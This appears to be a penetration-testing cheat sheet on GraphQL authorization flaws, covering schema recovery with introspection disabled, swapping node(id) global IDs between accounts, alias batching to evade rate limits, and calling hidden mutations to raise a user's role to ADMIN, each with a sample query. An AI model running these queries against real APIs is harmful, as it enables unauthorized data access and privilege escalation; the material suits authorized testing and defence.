GraphQL authorization and batching
UI hide is not schema hide. Aliases, batch, and node(id) skip the screen the designer drew.
Tags: graphql, idor, bfla, rate-limit
Techniques
Introspection off
Field suggestions, clairvoyance, persisted-query hashes, and JS operation names rebuild the schema.
{__type(name:"User"){fields{name}}}typo a field and read the 'Did you mean' list
node(id) swap
Relay global IDs from account A replayed as B. Decode base64 Type:n.
query { node(id:"GLOBAL_ID_FROM_A") { ... on User { email } } }
Alias batch
One HTTP request, N aliased copies of a mutation or a expensive query. Counters that key on requests lose.
{ a1: user(id:1){id} a2: user(id:2){id} ... }
Hidden mutation
admin, impersonate, export, setRole still in the schema. Try them as a normal user on objects you own first.
mutation { updateUser(id: OWN, role: ADMIN) { id } }